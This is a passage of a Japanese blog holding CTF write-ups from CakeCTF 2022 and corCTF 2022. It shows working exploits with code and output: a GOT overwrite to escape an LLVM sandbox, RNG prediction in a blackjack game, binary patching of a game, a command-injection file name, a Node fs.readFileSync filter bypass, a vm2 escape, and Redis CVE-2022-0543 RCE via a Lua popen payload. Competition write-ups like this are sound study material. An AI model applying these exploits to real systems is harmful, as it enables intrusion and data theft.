        IRBuilder<> builder(&I);
        auto msg = builder.CreateGlobalStringPtr(
          "[C-Sandbox] Invalid function call: " + str_I
        );
        auto func_puts = cast<Function>(
          M.getOrInsertFunction("puts",
                                builder.getInt32Ty(),
                                builder.getInt8PtrTy()).getCallee()
        );
        auto func_exit = cast<Function>(
          M.getOrInsertFunction("exit",
                                builder.getVoidTy(),
                                builder.getInt32Ty()).getCallee()
        );
        builder.CreateCall(func_puts, msg);
        builder.CreateCall(func_exit, builder.getInt32(1));
      }
    }

    return false;
  }
};

char Sandbox::ID = 0;
static RegisterPass<Sandbox> X("Sandbox",
                               "Deny dangerous system calls",
                               false,
                               false);

.got.plt を書き換えて、puts を呼び出すと system が呼ばれるようにする。まずは以下のコードを本番と同じ条件でコンパイルし、.got.plt セクションを確認してどのアドレスを書き換えればよいか確認する。

#include <stdlib.h>

int main(void) {
  long long int *x;
  x = 0x12345678;
  *x = system;

  puts("ls -la; cat f*");

  return 0;
}

実行ファイルが実行後に削除されないよう compiler.py を書き換えておき、先程のコードを入力する。

$ python3 compiler.py
Enter your C code (Type 'EOF' to quit input)
#include <stdlib.h>

int main(void) {
  long long int *x;
  x = 0x12345678;
  *x = system;

  puts("ls -la; cat f*");

  return 0;
}
EOF
[+] Generating bitcode...
[+] Instrumenting...
[+] Translating to assembly...
[+] Compiling...
[+] Running /tmp/516c5ec7be921c80dba93a013902f0d3.bin
Segmentation fault
$ gdb -q /tmp/516c5ec7be921c80dba93a013902f0d3.bin
Reading symbols from /tmp/516c5ec7be921c80dba93a013902f0d3.bin...
(No debugging symbols found in /tmp/516c5ec7be921c80dba93a013902f0d3.bin)
(gdb) x/i puts
   0x401030 <puts@plt>: jmpq   *0x2fe2(%rip)        # 0x404018 <puts@got.plt>

得られた情報を使って、先程のコードの 0x123456780x404018 に変えて投げるとフラグが得られた。

$ nc misc.2022.cakectf.com 10099
Enter your C code (Type 'EOF' to quit input)
#include <stdlib.h>

int main(void) {
  long long int *x;
  x = 0x404018;
  *x = system;

  puts("ls -la; cat f*");

  return 0;
}
EOF
[+] Generating bitcode...
[+] Instrumenting...
[+] Translating to assembly...
[+] Compiling...
[+] Running...
total 168
drwxr-xr-x 1 root ctf    4096 Sep  1 14:55 .
drwxr-xr-x 1 root root   4096 Sep  1 14:54 ..
-r-xr-x--- 1 root ctf      43 Sep  1 13:25 .redir.sh
-r-xr-x--- 1 root ctf    1852 Sep  1 13:25 compiler.py
-r--r----- 1 root ctf      42 Sep  1 13:25 flag-0de0e34fe4e95ae2fcb8b185c009ba76.txt
-r-xr-x--- 1 root ctf  150144 Sep  1 13:25 libCSandbox.so
CakeCTF{briI1ng_yoO0ur_oO0wn_gaA4dgeE3t!}
CakeCTF{briI1ng_yoO0ur_oO0wn_gaA4dgeE3t!}

[cheat 196] matsushima3 (22 solves)

Are you a gambler?

添付ファイル: matsushima3_d9f7e86a2224cbdcf78335772d534c42.tar.gz

強制的にオールインさせられるブラックジャック。999999999999999ドルを稼ぐとフラグが得られる。勝利すると所持金が2倍になるから、要は約50回連続で勝つ必要がある。

サーバ側のソースコードを読んでいたところ、カードがゲームの開始時にシャッフルされ、またどうシャッフルされるかは現在時刻とユーザIDによるとわかった。ユーザIDはユーザ登録時に教えてくれるし、現在時刻は int(time.time()) と秒単位での取得になっているから予測がしやすそう。

@app.route('/game/new')
def game_new():
    """Create a new game"""
    if session['state'] == GameState.IN_PROGRESS:
        # Player tried to abort game
        session['state'] = GameState.PLAYER_CHEAT
        abort(400, "Cheat detected")

    # Shuffle cards
    deck = [(i // 13, i % 13) for i in range(4*13)]
    random.seed(int(time.time()) ^ session['user_id'])
    random.shuffle(deck)
    session['deck'] = deck

    # Create initial hand
    session['player_hand'] = []
    session['dealer_hand'] = []
    for i in range(2):
        session['player_hand'].append(session['deck'].pop())
        session['dealer_hand'].append(session['deck'].pop())
    session['player_score'] = calculate_score(session['player_hand'])
    session['dealer_score'] = calculate_score(session['dealer_hand'])

    # Return state
    session['state'] = GameState.IN_PROGRESS
    return jsonify({
        'player_hand': session['player_hand'],
        'player_score': session['player_score'],
        'num_dealer_cards': len(session['dealer_hand'])
    })

1秒ごとにデッキを予測して、勝てそうなときにゲームを開始するようにすればよさそう。以下は作りかけだったけどなんか通ったスクリプト

# coding: utf-8
import copy
import os
import random
import time

import requests

HOST = os.getenv("HOST", "localhost")
PORT = os.getenv("PORT", 10011)
BASE = f'http://{HOST}:{PORT}'

def calculate_score(cards):
    """Calculate current total of cards"""
    num_ace = 0
    score = 0
    for _, c in cards:
        if c == 0: num_ace += 1
        elif c < 10: score += c + 1
        else: score += 10

    while num_ace > 0:
        if 21 - score >= 10 + num_ace: score += 11
        else: score += 1
        num_ace -= 1

    return -1 if score > 21 else score

def guess(user_id):
    deck = [(i // 13, i % 13) for i in range(4*13)]
    random.seed(int(time.time()) ^ user_id)
    random.shuffle(deck)

    player_hand = []
    dealer_hand = []
    for i in range(2):
        player_hand.append(deck.pop())
        dealer_hand.append(deck.pop())

    return deck, player_hand, dealer_hand

def think(user_id):
    deck, p, d = guess(user_id)

    # まずはスタンドする場合から
    deck_tmp = copy.deepcopy(deck)
    d_tmp = copy.deepcopy(d)

    next_card = deck_tmp.pop()
    d_score = calculate_score(d_tmp)
    while d_score <= 16:
        d_tmp.append(next_card)
        d_score = calculate_score(d_tmp)

        if d_score == -1:
            # ディーラーがバースト! スタンドすべき
            return [{'action': 'stand'}]
        next_card = deck_tmp.pop()

    if calculate_score(p) > d_score:
        # プレイヤーの勝ち。スタンドすべき
        return [{'action': 'stand'}]

    # ヒットする場合も
    deck_tmp = copy.deepcopy(deck)
    p_tmp = copy.deepcopy(p)
    d_tmp = copy.deepcopy(d)

    i = 1
    while True:
        p_tmp.append(deck_tmp.pop())

        if calculate_score(p_tmp) == -1:
            # プレイヤーがバースト。ヒットすべきでない
            break

        if calculate_score(d_tmp) <= 16:
            d_tmp.append(deck_tmp.pop())

        d_score = calculate_score(d_tmp)
        if d_score == -1 or calculate_score(p_tmp) > d_score:
            # ディーラーがバースト or プレイヤーの勝ち。ヒットすべき
            print(p_tmp, calculate_score(p_tmp))
            return [{'action': 'hit'} for _ in range(i)]

        i += 1

    # まだその時期ではない

s = requests.Session()
r = s.get(f'{BASE}/user/new')
user_id = r.json()['user_id']

while True:
    res = None
    while res is None:
        res = think(user_id)

    acts = res
    print(acts)
    s.get(f'{BASE}/game/new')

    for act in acts:
        r = s.get(f'{BASE}/game/act', params=act).json()
        print(act, r)

    if r['money'] == 0 or r['flag'] != '':
        break

実行するとフラグが得られた。

$ python3 solve.py
…
[{'action': 'stand'}]
{'action': 'stand'} {'dealer_action': 'stand', 'dealer_hand': [[1, 4], [0, 6], [0, 11]], 'dealer_score': -1, 'flag': '', 'money': 109951162777600, 'num_dealer_cards': 3, 'player_hand': [[1, 6], [1, 2]], 'player_score': 10, 'state': 'win'}        
[{'action': 'stand'}]
{'action': 'stand'} {'dealer_action': 'stand', 'dealer_hand': [[1, 4], [0, 6], [0, 11]], 'dealer_score': -1, 'flag': '', 'money': 219902325555200, 'num_dealer_cards': 3, 'player_hand': [[1, 6], [1, 2]], 'player_score': 10, 'state': 'win'}        
[{'action': 'stand'}]
{'action': 'stand'} {'dealer_action': 'stand', 'dealer_hand': [[1, 4], [0, 6], [0, 11]], 'dealer_score': -1, 'flag': '', 'money': 439804651110400, 'num_dealer_cards': 3, 'player_hand': [[1, 6], [1, 2]], 'player_score': 10, 'state': 'win'}        
[{'action': 'stand'}]
{'action': 'stand'} {'dealer_action': 'stand', 'dealer_hand': [[1, 4], [0, 6], [0, 11]], 'dealer_score': -1, 'flag': '', 'money': 879609302220800, 'num_dealer_cards': 3, 'player_hand': [[1, 6], [1, 2]], 'player_score': 10, 'state': 'win'}        
[{'action': 'stand'}]
{'action': 'stand'} {'dealer_action': 'stand', 'dealer_hand': [[1, 4], [0, 6], [0, 11]], 'dealer_score': -1, 'flag': '"CakeCTF{INFAMOUS_LOGIC_BUG}"', 'money': 1759218604441600, 'num_dealer_cards': 3, 'player_hand': [[1, 6], [1, 2]], 'player_score': 10, 'state': 'flag'}

SECCON2018国内決勝大会の松島、InterKosenCTF 2020のmatsushima2に続く松島問(とは?)だった。

[cheat 289] Cake Memory (9 solves)

Welcome to Cake Memory.
This advanced memory and cognitive recognition test is designed to stimulate several segments of the brain, allowing us to see how quickly and efficiently your brain works.

添付ファイル: cake_memory_ea3efda375fcdbbd010cfa03317cd292.tar.gz

赤、緑、黄みたいな感じで色が読み上げられつつ表示されるので、色と順番を覚えてその通りに下に表示されるボタンを押していくゲーム。最初は4色しかないし、覚える数も少ないから人間にもできるのだけれども、ラウンドを重ねるとどちらも多くなり、人間にはクリアできないようになってくる。

ヒントとして以下のようにソースコードの一部(Rust)が与えられていた。メモリ上に正解の色とその順番が探しやすい形で載っているから探してねということなんだろうけど、競技中には何を間違えていたのか見つけられなかった。@競技中の私 なんで?

// REDUCTED

static SOUNDS: [SoundName; 24] = [
    SoundName::VoiceBlue, SoundName::VoiceRed,
    SoundName::VoiceYellow, SoundName::VoiceGreen,
    SoundName::VoiceViolet, SoundName::VoiceOrange,
    SoundName::VoiceWhite, SoundName::VoiceJ,
    SoundName::VoiceHeart, SoundName::VoiceQuestion,
    SoundName::VoicePi, SoundName::VoiceSmiley,
    SoundName::VoiceOmega, SoundName::VoiceTurquoise,
    SoundName::VoiceTheta, SoundName::VoiceG,
    SoundName::VoiceKitten, SoundName::VoiceTangerine,
    SoundName::VoiceCake, SoundName::VoiceLambda,
    SoundName::VoiceBurgundy, SoundName::VoiceE,
    SoundName::VoiceCoquelicot, SoundName::VoiceFlag
];

// REDUCTED

struct MusicalMemory {
    // REDUCTED
    mem_order: Vec<usize>,
    mem_sound: Vec<SoundName>,
    // REDUCTED
}

// REDUCTED

    fn draw(&mut self, ctx: &mut Context) -> GameResult<()> {
    // REDUCTED
            current = self.sound.get_mut(&self.mem_sound[
                self.mem_order[self.show_count]
            ]);
    // REDUCTED
    }

// REDUCTED

うさみみハリケーンの「実行速度調整」で GetTickCount, Sleep などの関数をまとめて対象としてやると、スピードハックができた。できたが、たとえ実行速度を遅くできたとしても、何十個もの色の順番をメモしてひとつも間違えずに入力する必要があるのは面倒だったから、選択肢となる色の種類や入力する必要のある色の個数を少なくできないかと考えた。

どうやって選択肢と色の個数を減らすか。リバースエンジニアリングだ。フリー版のIDAに投げて眺めていると、CAKE<3 といった文字列を見つけた。これらはラウンド3あたりで増える選択肢だが、sub_403E44 という関数から参照されているようだ。

sub_403E44 はめちゃくちゃ長い関数でとても読み切れる量ではないのだけれども、それでも出てくる数値や文字列などから、描画やタイマーの処理などをまとめた関数であることは読み取れる。たとえばここでは 10000, 15000, 20000 という数値が出てくるが、これらはタイマーの初期化処理っぽい。これをいじると制限時間が伸ばせる(はず)。

このあたりは何ラウンド目かによって選択肢の個数を選んでいそう。全部 mov r15d, 4 に変えると、何ラウンド目になっても選択肢が青、赤、黄、緑の4色のみになった。

このあたりは色の順番を保存する配列に関連していそう。全部 mov qword ptr [rax+28h], 6 みたいな感じの部分を 1 を代入するように変えてやると、ずっと同じ色が表示されるようになった。

これらのパッチを組み合わせて遊んだ様子を録画してみた。修正が甘くて、ラウンド3の最後で(選択肢が4色だけではあるけど)8個色を覚えなければならなかった。

www.youtube.com

CakeCTF{Do_you_have_Chromesthesia?}

ヒントからRust製であることを知って、前回のYoshi-Shogiと違って今回はリバースエンジニアリングせずに解くぞと思っていた。思っていたが、結局めんどくさくなってリバースエンジニアリングで解いた。公開されたソースコードを見たら芸術的だった。

*1:実際ギリシャ生まれの問題だそう

*2:Jeopardyの問題の公開はまだかな…

*3:とりあえず試したらいけたという感じで、後からCVE-2022-21824を知った

corCTF 2022 writeup

8/6 - 8/8という日程で開催された。zer0ptsで参加して10位。独創的な問題がいっぱいで楽しかった。solves数の多い問題から見ていっていたので、実はWebの高難度帯の問題はほとんど見ていない。要復習だなあ。以下はwriteupだけれども、すでに作問者のBryceさんだったり、JazzPizazzさんだったりがすでにwriteupを公開されているのでただの焼き直しになりそう。

他のメンバーが書いたwrite-up:


[Web 104] jsonquiz (573 solves)

jsonquiz.be.ax というURLが与えられる。アクセスするとクイズが始まった。

真面目に答えるのも面倒なのでソースコードを確認したところ、/assets/js/quiz.js にクイズの終了時の処理っぽいものがあった。どれだけ正解しようが score = 0 で提出されてしまうようだ。

        let score = 0;
        fetch("/submit", {
            method: "POST",
            headers: {
                "Content-Type": "application/x-www-form-urlencoded"
            },
            body: "score=" + score
        })
        .then(r => r.json())
        .then(j => {
            if (j.pass) {
                $("#reward").innerText = j.flag;
                $("#pass").style.display = "block";
            }
            else {
                $("#fail").style.display = "block";
            }
        });

雑にデカいスコアを提出する。これでフラグが得られる。

{
        let score = 100;
        fetch("/submit", {
            method: "POST",
            headers: {
                "Content-Type": "application/x-www-form-urlencoded"
            },
            body: "score=" + score
        })
        .then(r => r.json())
        .then(j => {
            console.log(j);
        });
}
corctf{th3_linkedin_JSON_quiz_is_too_h4rd!!!}

[Web 109] msfrog-generator (280 solves)

msfrog-generator.be.ax というURLが与えられる。ソースコードはなし。アクセスするとこんな感じで絵文字でお絵描きして遊べる。

Generate というボタンを押すと /api/generate に以下のようなJSONがPOSTで飛んでいき、サーバ側で生成された画像が返ってくる。

[{"type":"mseyes.png","pos":{"x":26,"y":38}}]

Path TraversalかOS Command Injectionができるのではと考える。試しに type の値を ../app.py にしてみたところ、I wont pass a non existing image to a shell command lol というメッセージが返ってきた。パスは画像でないとダメらしい。

ならばと neko/../msdrops.png に変えてみたところ、以下のようなメッセージに変わった。

Something went wrong : b"convert-im6.q16: unable to open image `img/neko/../msdrops.png': No such file or directory @ error/blob.c/OpenBlob/2924.\nconvert-im6.q16: image sequence is required `-composite' @ error/mogrify.c/MogrifyImageList/7987.\nconvert-im6.q16: no images defined `png:-' @ error/convert.c/ConvertImageCommand/3229.\n"

neko;ls;a/../msdrops.png でOS Command Injectionができた。

{"msfrog": "fe\nimg\nserver.py\nwsgi.py\n"}

neko;cat /f*;a/../msdrops.png でフラグが得られる。

corctf{sh0uld_h4ve_r3nder3d_cl13nt_s1de_:msfrog:}

[Forensics 118] whack-a-frog (154 solves)

お絵描きアプリ再び。

マウスイベントが発生するたびに /anticheat?x=406&y=138&event=mouseup/anticheat?x=406&y=141&event=mousemove のようにHTTPリクエストが飛ぶようになっており、これでお絵描きしている様子をキャプチャした whacking-the-froggers.pcap というファイルが与えられる。

ScapyとPillowでなんとかする。

import re
from scapy.all import *
from PIL import Image

w, h = 1920, 1080
im = Image.new('1', (w, h), 1)
pix = im.load()

c = 1
for pkt in PcapReader('whacking-the-froggers.pcap'):
    pkt = bytes(pkt)
    if b'GET /anticheat' not in pkt:
        continue
    [(x, y, event)] = re.findall(rb'x=(\d+)&y=(\d+)&event=(\w+)', pkt)
    x, y = int(x), int(y)

    if event == b'mousedown':
        c = 0
    if event == b'mouseup':
        c = 1

    pix[x, y] = c

im.save('result.png')

実行するとフラグが得られた。

corctf{LILYXOX}

[Web 209] simplewaf (28 solves)

以下のようなソースコードと、これが動いているWebサーバへの接続情報が与えられる。flag という文字列が含まれていない限り、fs.readFileSync に好きな引数を与えることができるらしい。同じディレクトリに flag.txt があるからそれを読むだけだと思ってしまうが、フィルターに邪魔されてしまう。

const express = require("express");
const fs = require("fs");

const app = express();

const PORT = process.env.PORT || 3456;

app.use((req, res, next) => {
    if([req.body, req.headers, req.query].some(
        (item) => item && JSON.stringify(item).includes("flag")
    )) {
        return res.send("bad hacker!");
    }
    next();
});

app.get("/", (req, res) => {
    try {
        res.setHeader("Content-Type", "text/html");
        res.send(fs.readFileSync(req.query.file || "index.html").toString());       
    }
    catch(err) {
        console.log(err);
        res.status(500).send("Internal server error");
    }
});

app.listen(PORT, () => console.log(`web/simplewaf listening on port ${PORT}`));

fl%61g.txt を投げてもデコードしてくれないし、file:///app/fl%61g.txt のように file:// を頭につけてもやはりダメ。ほかになにか方法がないかNode.jsの公式ドキュメントを見に行ったところ、第一引数として string, Buffer, URL, integer のいずれかを受け入れることがわかった。なるほど、URL オブジェクトならばURLデコードによってフィルターをバイパスできそうだ。でも、引数として渡されるのは req.query.file とクエリパラメータ経由で与えられた値で、URL オブジェクトに変換できるような処理はされていないから無理なのでは?

> fs.readFileSync('file:///etc/passwd')
Uncaught Error: ENOENT: no such file or directory, open 'file:///etc/passwd'
    at Object.openSync (node:fs:585:3)
    at Object.readFileSync (node:fs:453:35) {
  errno: -2,
  syscall: 'open',
  code: 'ENOENT',
  path: 'file:///etc/passwd'
}
> fs.readFileSync(new URL('file:///etc/passwd'))
<Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f ... 1585 more bytes>
> fs.readFileSync(new URL('file:///etc/p%61sswd'))
<Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f ... 1585 more bytes>

ソースコードを見ないとできるかできないかはわからないので、fs.readFileSync の実装を見に行く。まず fs.openSync を呼んでファイルを開こうとするらしい。

  const isUserFd = isFd(path); // File descriptor ownership
  const fd = isUserFd ? path : fs.openSync(path, options.flag, 0o666);

fs.openSync を見に行く。getValidatedPath なる関数を呼んでいる。

function openSync(path, flags, mode) {
  path = getValidatedPath(path);
  const flagsNumber = stringToFlags(flags);
  mode = parseFileMode(mode, 'mode', 0o666);

  const ctx = { path };
  const result = binding.open(pathModule.toNamespacedPath(path),
                              flagsNumber, mode,
                              undefined, ctx);
  handleErrorFromBinding(ctx);
  return result;
}

getValidatedPath では toPathIfFileURL なる関数によって与えられたパスが file: プロトコルのURLであるか確認しているっぽい。

const getValidatedPath = hideStackFrames((fileURLOrPath, propName = 'path') => {
  const path = toPathIfFileURL(fileURLOrPath);
  validatePath(path, propName);
  return path;
});

toPathIfFileURL の実装はこんな感じ。isURLInstance がtruthyであれば fileURLToPath という関数によってURLからファイルのパスに変換したものを返り値として返すらしい。

function toPathIfFileURL(fileURLOrPath) {
  if (!isURLInstance(fileURLOrPath))
    return fileURLOrPath;
  return fileURLToPath(fileURLOrPath);
}

では isURLInstance はどうやって引数が URL オブジェクトであると確認しているのか。実装を見てみると fileURLOrPath instanceof URL のように URLインスタンスであるか確認しているわけではなく、なんと hreforigin というプロパティが生えているかだけを確認しているようだった。もしかすると、req.query.file{"href":"…","origin":"…"} のようなオブジェクトにすればよいのかもしれない。深掘りしていく。

function isURLInstance(fileURLOrPath) {
  return fileURLOrPath != null && fileURLOrPath.href && fileURLOrPath.origin;
}

fileURLToPath はこのような実装になっている。もう一度引数を isURLInstance でチェックした後に、protocol プロパティが file: であるか確認している。そして getPathFromURLPosix でURLオブジェクトからパスを取得している。

function fileURLToPath(path) {
  if (typeof path === 'string')
    path = new URL(path);
  else if (!isURLInstance(path))
    throw new ERR_INVALID_ARG_TYPE('path', ['string', 'URL'], path);
  if (path.protocol !== 'file:')
    throw new ERR_INVALID_URL_SCHEME('file');
  return isWindows ? getPathFromURLWin32(path) : getPathFromURLPosix(path);
}

getPathFromURLPosix の実装を見る。hostname プロパティが空であるか確認した後に、pathname プロパティをURLデコードしてくれている。やったあ。

ということで、fs.readFileSync はドキュメントでは string, Buffer, URL, integer のいずれかしか第一引数として受け付けないと書かれていたけれども、実際は href, origin, protocol, hostname, pathname の5つのプロパティに適切な文字列が入っていればなんでもよいことがわかった。

function getPathFromURLPosix(url) {
  if (url.hostname !== '') {
    throw new ERR_INVALID_FILE_URL_HOST(platform);
  }
  const pathname = url.pathname;
  for (let n = 0; n < pathname.length; n++) {
    if (pathname[n] === '%') {
      const third = pathname.codePointAt(n + 2) | 0x20;
      if (pathname[n + 1] === '2' && third === 102) {
        throw new ERR_INVALID_FILE_URL_PATH(
          'must not include encoded / characters'
        );
      }
    }
  }
  return decodeURIComponent(pathname);
}

ローカルで試してみたところ、確かに動いている。

> fs.readFileSync({ href: 'a', origin: 'b', protocol: 'file:', pathname: '/etc/p%61sswd', hostname: ''})
<Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f ... 911 more bytes>

リモートで試すとフラグが得られた。

$ curl "https://web-simplewaf-1161f645fd6c1aa1.be.ax/?file[href]=
a&file[origin]=b&file[protocol]=file:&file[pathname]=fl%2561g.txt&file[hostname]"
corctf{hmm_th4t_waf_w4snt_s0_s1mple}

シンプルながらも解くにはよく調べる必要があって、こういう問題大好き。

[Misc 321] sbxcalc (11 solves)

最終的に通していたのはjskimさんだけれども、面白い問題だったのでメモしておく。以下のようなソースコードが与えられている。75文字以下かつ /^([\w+\-*/() ]|([0-9]+[.])+[0-9]+)+$/ に当てはまっていなければならないという制限付きで好きなJavaScriptコードを実行できる。

Node.js備え付けの vm モジュールでなくわざわざ vm2 というライブラリを使っているあたり、サンドボックスから抜け出すなということだろう。

目的は flag という Proxy オブジェクトにある FLAG というプロパティに含まれているフラグを手に入れること。ただし、flagget というハンドラが nope という文字列を返す関数になっているので、単純に flag.FLAG のようにプロパティにアクセスしようとすれば nope が返ってきてしまう。

const express = require("express");
const vm2 = require("vm2");

const PORT = process.env.PORT || "4000";

const app = express();

app.set("view engine", "hbs");

// i guess you can have some Math functions...
let sandbox = Object.create(null);
["E", "PI", "sin", "cos", "tan", "log", "pow", "sqrt"].forEach(v => sandbox[v] = Math[v]);

// oh, and the flag too i guess...
sandbox.flag = new Proxy({ FLAG: process.env.FLAG || "corctf{test_flag}" }, {
    get: () => "nope" // :')
});

// no modifying the sandbox, please
sandbox = Object.freeze(sandbox);

app.get("/", (req, res) => {
    let output = "";
    let calc = req.query.calc;

    if (calc) {
        calc = `${calc}`;

        if(calc.length > 75) {
            output = "Error: calculation too long";
        }

        let whitelist = /^([\w+\-*/() ]|([0-9]+[.])+[0-9]+)+$/; // this is a calculator sir
        if(!whitelist.test(calc)) {
            output = "Error: bad characters in calculation";
        }

        if(!output) {
            try {
                const vm = new vm2.VM({
                    timeout: 100,
                    eval: false,
                    sandbox,
                });
                output = `${vm.run(calc)}`;
                if (output.includes("corctf")) {
                    output = "Error: no.";
                }
            }
            catch (e) {
                console.log(e);
                output = "Error: error occurred";
            }
        }
    }

    res.render("index", { output, calc });
});

app.listen(PORT, () => console.log(`sbxcalc listening on ${PORT}`));

まずはどうやって flag.FLAG の値を手に入れるかというところから考える。sandbox.flag の初期化時に get ハンドラが与えられているけれども、getOwnPropertyDescriptor は与えられていない。Object.getOwnPropertyDescriptor(sandbox.flag, 'FLAG') してみると以下のようにプロパティディスクリプタ経由で得られることがわかった。

> Object.getOwnPropertyDescriptor(flag, 'FLAG')
{
  value: 'corctf{test_flag}',
  writable: true,
  enumerable: true,
  configurable: true
}

でも、フィルターによって .[]、文字列リテラルは使えない。どうやってプロパティにアクセスすればよいのだろう。悩んでいたところ、jskimさんが with(Object)with(getOwnPropertyDescriptors(flag))with(FLAG)value のように withを使うことを思いついた。なるほど with、頭から抜けていた。

これなら64文字で文字数制限に引っかからないと思ってしまうが、残念ながらもうちょっと頑張る必要がある。ソースコードをよく見ると、出力に corctf が含まれていた場合に弾かれてしまう。

                if (output.includes("corctf")) {
                    output = "Error: no.";
                }

なら with(Object)with(getOwnPropertyDescriptors(flag))with(FLAG)with(value)at(0) みたいに String.prototype.at で1文字ずつ取り出せばよいのではないかと考えたが、残念ながら at(0) の時点で75文字になってしまっている。11文字目以降はこのままでは取得できない。

最終的に、プロパティディスクリプタvalue プロパティにわざわざアクセスせず、with(Object)with(getOwnPropertyDescriptors(flag))with(values(FLAG)+E)at(0) のように Object.values(FLAG) でプロパティの値を配列化した後に、文字列に変換して String.prototype.at で1文字ずつ抽出する方法をjskimさんが思いついた。なるほど~~~~!

corctf{d0nt_you_just_l0ve_j4vascript?}

なんとなく、Harekaze mini CTF 2020で私が出題したProxy Sandboxやzer0pts CTF 2021で出題したKantan Calcという問題を思い出した。もしまたこういう感じの問題を出すのであれば、今度は vm2 を使うようにしたい。

[Misc 378] no(de)code (7 solves)

ローコードにアプリを開発できるBudibaseというプラットフォームで遊ぶ問題。チームごとにインスタンスが立てられるようになっていた。

適当にアプリを作って遊んでみていると、以下のように呼び出し可能なアクションとしてBashスクリプトが存在していることに気づいた。

以下のような感じで、cmd という引数を取ってBashスクリプトに渡すようなフローを作る。

実行するBashスクリプト{{ trigger.fields.cmd }} のようにすると、Budibaseがこれを渡された cmd に置換した上で実行してくれる。

アプリの編集画面右上に存在している Run test というボタンを押すと、以下のようにこのフローを実行できる。

試しに id を入力してみると、以下のように uid=0(root) gid=0(root) groups=0(root) と出力された。ちゃんとOSコマンドが実行できたようだ。

なにか怪しいファイルがないかなあと ls -la / してみると、/SECURITY.txt なるファイルが見つかった。

total 80
drwxr-xr-x   1 root root 4096 Aug  8 16:36 .
drwxr-xr-x   1 root root 4096 Aug  8 16:36 ..
-rw-r--r--   1 root root  113 Aug  7 01:52 SECURITY.txt
drwxr-xr-x   1 root root 4096 Aug  4 14:43 app
drwxr-xr-x   2 root root 4096 Aug  1 00:00 bin
drwxr-xr-x   2 root root 4096 Mar 19 13:44 boot
drwxr-xr-x   5 root root  360 Aug  8 16:36 dev
drwxr-xr-x   1 root root 4096 Aug  8 16:36 etc
drwxr-xr-x   1 root root 4096 Aug  2 05:22 home
drwxr-xr-x   1 root root 4096 Aug  4 14:43 lib
drwxr-xr-x   2 root root 4096 Aug  1 00:00 lib64
drwxr-xr-x   2 root root 4096 Aug  1 00:00 media
drwxr-xr-x   2 root root 4096 Aug  1 00:00 mnt
drwxr-xr-x   1 root root 4096 Aug  4 14:44 opt
dr-xr-xr-x 344 root root    0 Aug  8 16:36 proc
drwx------   1 root root 4096 Aug  8 16:36 root
drwxr-xr-x   3 root root 4096 Aug  1 00:00 run
drwxr-xr-x   2 root root 4096 Aug  1 00:00 sbin
drwxr-xr-x   2 root root 4096 Aug  1 00:00 srv
dr-xr-xr-x  13 root root    0 Aug  8 16:36 sys
drwxrwxrwt   1 root root 4096 Aug  8 16:36 tmp
drwxr-xr-x   1 root root 4096 Aug  1 00:00 usr
drwxr-xr-x   1 root root 4096 Aug  1 00:00 var

中身は以下のような感じ。別に動いているRedisのコンテナに、ファイルとしてなにか価値のあるもの(フラグだろう)が含まれているらしい。

- Remove that file containing valuable contents from the Redis container
- Check environment variables for leaks

環境変数もチェックするとよさそうなので printenv を実行してみる。200個以上の環境変数があってアレだけれども、printenv | grep REDIS で絞ってみるとRedisサーバに接続できるパスワードやホスト名が手に入った。

REDIS_PASSWORD=rI1W4PDBWcS2oGe3jcWXvtH8
REDIS_VERSION=5.0.7-2ubuntu
REDIS_URL=redis-service:6379

BudibaseにはRedisと連携できる機能もある。以下のようにアプリの作成時にRedisを選択し、手に入れたホスト名やパスワードを入力する。

以下のように好きなRedisのコマンドを実行できる。環境変数によればRedisのバージョンは5.0.7-2だからCVE-2022-0543が使えるかもしれないと思うが、なぜか EVAL "return 123" 0 のようなコマンドがここからは実行できない。

Bashスクリプトなりなんなりを使って直接Redisサーバに接続し、インラインコマンドを送ってみるのはどうか。

node -e "const net = require('net'); const c=net.createConnection({ host: 'redis-service', port: 6379 }, () => { c.write('AUTH rI1W4PDBWcS2oGe3jcWXvtH8\r\nEVAL \"return 123\" 0\r\n') }); c.on('data',d=>{console.log(d.toString()); c.end(); })"

実行すると 123 が返ってきた。直接Redisサーバを叩くなら EVAL が使えるようだ。なんで?

+OK
:123

CVE-2022-0543を試してみる。ググって出てきたコードを持ってきて、Redisコンテナ上で好きなOSコマンドが実行できるRedisコマンドを出力してくれるスクリプトを書く。

pw = 'rI1W4PDBWcS2oGe3jcWXvtH8'
code = """
local io_l = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0','luaopen_io'); local io = io_l(); local f = io.popen('cat /flag.txt', 'r'); local res = f:read('*a'); f:close(); return res
""".strip()

s = f'''node -e "const net = require('net'); const c=net.createConnection({{ host: 'redis-service', port: 6379 }}, () => {{ c.write(\\`AUTH {pw}\\r\\nEVAL \\"{code}\\" 0\\r\\n\\`) }}); c.on('data',d=>{{console.log(d.toString()); c.end(); }})"'''
print(s)

出力された以下のOSコマンドを実行する。

node -e "const net = require('net'); const c=net.createConnection({ host: 'redis-service', port: 6379 }, () => { c.write(\`AUTH rI1W4PDBWcS2oGe3jcWXvtH8\r\nEVAL \"local io_l = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0','luaopen_io'); local io = io_l(); local f = io.popen('cat /flag.txt', 'r'); local res = f:read('*a'); f:close(); return res\" 0\r\n\`) }); c.on('data',d=>{console.log(d.toString()); c.end(); })"

これでフラグが得られた。

corctf{b4sh_and_n0d3JS_c4n_sp34k_r3dis_too!!}

という感じで書くと簡単な問題に見えるけれども、途中で迷いに迷っていたのでこの問題に取り組み始めてからフラグを得るまでに5時間ぐらいかかった。crusader@cor.ctf というadminのユーザがいることに気づいて、これを乗っ取る必要があるのかと思って色々試していたけれどもダメ。CONFIG SET … でファイルを書き込もうにもなんか動かないし、SLAVEOF もアウトバウンドな通信が制限されているっぽいので面倒だし。幸いにも SECURITY.txt があることは早いうちに確認できていたし、CVE-2022-0543もRedisが使われているのを見てまず思いついていたので、途中で軌道修正できた。

ImaginaryCTF 2022 writeup

